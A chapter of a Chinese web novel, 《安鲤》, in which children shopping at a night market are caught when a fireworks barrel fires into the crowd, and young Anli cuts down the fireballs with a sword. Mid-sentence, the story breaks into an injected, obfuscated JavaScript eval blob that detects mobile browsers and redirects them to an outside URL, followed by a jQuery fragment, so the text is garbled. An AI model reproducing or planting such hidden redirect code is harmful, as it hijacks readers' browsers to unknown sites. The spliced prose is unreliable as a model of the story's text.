25. 剑道
作品:《安鲤》 稍稍歇了一会儿,手挽手去看路边小娘子做的配饰,缝着萤石的布面人字草鞋,在昏暗的夜色中闪闪发光,团团摆成花瓣形状,夏天穿一定又清凉又好看。
羽毛作画的单肩包,边上还嵌着金丝,昏暗的珠光也不能遮挡其光芒。
还有缀珠泥金发带和纱花螺帽,年年的眼睛打着晃,觉得哪个都好看。
江鹤慢悠悠的跟在最后,在胭脂铺选了盒桃红色胭脂,在两个壁画般的小姑娘额头一点,好一对漂亮的小仙童。
压轴的是一家很大很大的成衣店,人潮人海络绎不绝,门口的大木牌子上书着‘两件抹零,五件免单’的字样,明川松了绳结,两个小姑娘欢呼雀跃的扑进去。
正是买夏装的好时候,朝岁看着门头里攒动的人影就觉得心惊,和师父一并站在门外,说什么也不想进去。
侧目一扫,明川却不慌不忙的正了正发冠,撸起袖子闯了进去。
这大抵是城里最大的衣服铺子,一共三层,灯火辉煌不输白日,小厮的招呼声,掌柜的高喊声混杂着,一二楼卖的是女衣,三楼是男装,一并在一楼结账。
年年牵着安鲤,顺着缝隙穿过人群,看不见前面人的踪迹,只有紧握的双手领着人走。
路过五六排五颜六色的成衣,年年心中恨恨,早晚有一天!早晚有一天我穿的下!
孩子的衣服不太多,在一楼角落里,对视一眼,两只蝴蝶飞进花丛中。
祥云纹直领对襟长袖衫深得年年的心,可惜是墨蓝色,摸了又摸,还是觉得老气。
旁边的儒雅长袍中规中矩,最妙的是配了一条绣满红梅的腰带,小姑娘还没有衣架高,咬着指头觉得很有窈窕淑女的风范。
安鲤看上了一套百家衣,花花绿绿的布片拼在一起,充满生气,像打滚的小老虎。
选了三五件衣裳,晃着腿乖乖的坐在柜台上等着,明川才抱着‘小山’姗姗来迟。
战争才刚刚打响,勤俭持家的小公子压在算盘上,同老板唇枪舌战,这件抹零头,那件打九折,昔日读圣贤书的口舌灵活的让掌柜的头疼,一个铜子也不放过,临了临了,又向老板讨了双和今日外衫很配的白底坠珠布鞋作添头。
“这些男衣,小两号,深色系的,一模一样的再配一套来。”
捧着战利品兴高采烈地出来,梳头娘子在门口守株待兔。
漂亮姨姨轻轻揉揉两个小姑娘的头,帕子拂过脸颊,上面的桂花香就勾着兔子进了陷阱。
十五个铜板就能免费梳头送一件头饰!
都觉得自己占了大便宜。
年年和安鲤还站在眼花缭乱的精美发饰前叨叨咕咕,给对方出着主意。
明川就已经坐在了椅子上等待簪花,排在他前面的是位留着络腮胡的壮汉,扭捏的咬着唇,左手拿着含苞待放的桃花,右手捏着开的正盛的迎春,左瞧右看,哪个都舍不得放。
“小子,你觉得俺配粉红还是嫩黄。”
明川思来想后,还是嫩红的桃花和黑中透红的憨厚面孔更配些。
朝岁还站在原地,就是眼神总一撇一撇的,忍不住看向明川。
年年在心底轻嗤,哥哥这个装货。
伙同安鲤,一左一右的按在椅子上,摘了路边的野花就往他头上插,渐渐得出趣儿来,这不就是超大号的布娃娃。
挑起朝岁的脸,红潮覆面,安鲤端详着杰作,啧啧感叹,“师弟,原来你这么白呀。”
年年侧身,抬眼去瞅哥哥的耳垂,偷笑,果不其然,花红人更红。
远处,有人高喊着,春凤居的老板请诸位看烟火。
春风居是小城数一数二的酒楼,安鲤最喜欢的卤牛肉就出自他家。
烟火?什么是烟火?
安鲤想看的清楚些,和年年商量着,挤开人群,凑到了最前面,朝岁不放心,紧紧跟在后面。
烟火在禹州城是稀罕物,谁也没见过呀!
据维持秩序的小哥说,这是他们老板过年时特意去江都买的,出自大师之手,今年刚出的最新款,和人等高的大粗桶,一桶六十六响,连皇上都赞不绝口。
老板大气,一口气买了五桶,红红火火,请全镇人长长见识。
“像炮竹那样响,还能在天上开花?”
身后的婶子兜着手撇嘴,很是不屑地插嘴,“我可认识你们老板,最爱吹牛说大话,死的能说成活的,刚开业的时候,说只要进店,一人送一个肉丸子,我坐下一看,还没有我手指盖大呢。”
小哥‘哼’的一声,也不与她争辩,“您呐,瞧好吧。”
众人围成一圈,一架马车停在最中间,小厮们三人一组艰难地抬着几个大金属桶,安鲤垫脚看着,除了表面有几个洞,没什么不一样。
胖乎乎的老板抖着肚子从马车上下来了,让人无端念起酱牛肉,慈眉善目朝众人拱手行礼,也不啰嗦,大手一挥,就让人点火。
引信烧的很快,人群的熙熙攘攘,车马的吵闹往来,都被隔绝在另一个世界,人们默不作声,看着那个大铁盒子。
屏气凝神,一个火球骤然升空,砰的一声,流光溢彩,绚烂多姿,炸出四散的火星,恍若昙花盛开,落到人心底,烫出一片惊叹。
“娘诶,天上真开花哩。”
小城人哪里见过如此盛况,酒楼里吃饭的,街边投壶游戏的,和老板讨价还价的,都无意识的往这边走。
六十六响,眨眼而逝,不过几个呼吸之间,人还没过瘾,再回神,江鹤就看不到安鲤的背影了。
前胸贴着后背,人潮相互挤压着,一浪压过一浪,包围圈慢慢缩小,还有人凑过来,好像密密麻麻的蜂窝,无止境的速增。
江鹤直觉不对,拉住明川,厉声大喊。
第二个铁桶点着了,烟火的轰鸣声,掩盖住了嘈杂与拥挤。
意外悄然而至,搬最后一个铁桶的时候,不知小哥太重了脚软,还是看着烟花没回神,就这么摔下马车,重重砸在地上。
安鲤眼睁睁的看着,那有半人高的铁桶翻滚着,速度极快的撞翻了前几个,没点燃的,点燃的!
刚点燃的!
黑黑的孔洞正对着人群,六十六响!
前面的人嘶吼着,后面的人簇拥着。
安鲤心血翻涌,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17042887|194520||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发着抖,须臾之间,反手将年年推向人群,提着剑就冲了上去。
年年目眦欲裂,“安鲤!”
伸手想抓住她的衣角,却被裹挟着隐入人群。
火光不等人,径直冲向一对爷孙。
老周头什么都没想,死死的把小孙孙护在身下,求着老婆子,求着观音菩萨,求着上天有眼。
他人老了,祸害一个,小孩儿有什么错呢。
求求你啊,求求你啊。
安鲤立在正前方。
原来,持剑是这种感觉。
肝胆洞,毛发耸。
小小的绿豆我都收拾过了,还怕你这大火球!
剑刃划如流星,霹雳惊海,似有万钧。
师父,您当初斩杀蛟龙,是什么感觉。
今天的烟火,在哪儿都能看!
余光之中,朝岁肃立身后。
二人就这么一前一后,我是你的前锋,你做我的后盾。
剑随心动,无可不至。过往之处,片甲不留!
风掀外袍,有气吞山河之相。迎火光而上,目射寒星,似猛虎伏兽之姿。
烟花依旧绚烂,爆裂的火星落到人脸上,烫的人茫然,怔怔的看着,无人敢言,无人敢动。
一个七岁的娃娃,拎着一把半人高的巨剑,如同探囊取物,身姿飘逸,出手利落,火球于她而言,不过肉包喂狗,一口一个。
老周头脱力跪在地上,目不能移,恍恍惚惚的想,老婆子,菩萨显灵啦。
江鹤也看着,看着这尾摇头晃脑的小鱼,看着她的首徒,看着她平日里嘻嘻哈哈的泼猴刺出了何等凛然的剑意。
她突然想到了破天宗,想到了不拘言笑总是寒着脸的大师兄,想到了温柔慈悲却总下黑手的师父。
曾经,他们也这样看着她。
如今,她也这样看着安鲤。
我竟养了一个我。
转过身,怎么有一滴泪流。
六十六响,安鲤砍了六十响,朝岁补了漏网之鱼。
无事发生。
发髻早已松散,叮当一声脆响,剑掉在地上,安鲤想弯身去捡,钻心的疼,麻酥酥的,感觉不到手臂,哪里出的血?
一双手温柔的扶起她,揉了揉她懵懂的脸,她听见师父说。
“恭喜你,安鲤。你入了剑道了。”
年年炮仗一样冲上来抱住她,嚎啕大哭,眼泪鼻涕都蹭到她身上。
“安鲤,我一辈子不跟你好了!嗷嗷嗷!”
朝岁站在身旁,不说话,皱着眉看她的手。
哥哥守在身后,温柔的扎头发。
回家路上,安鲤趴在哥哥背上,许是太累,睡着了。
两只手臂耷拉下来,江鹤查看过,剧烈运动后的血脉破裂,不是坏事,回家养养就好了。
抬头看,北斗七星指引着方向。
没有乌云掩盖,没有雾气朦胧,清澈的,明亮的。
小姑娘轻轻地打着酣,一晃儿,七岁了。
出了汗,浑身的小狗味儿藏都藏不住,随着呼吸起伏笼罩住他。
此刻永生难忘。

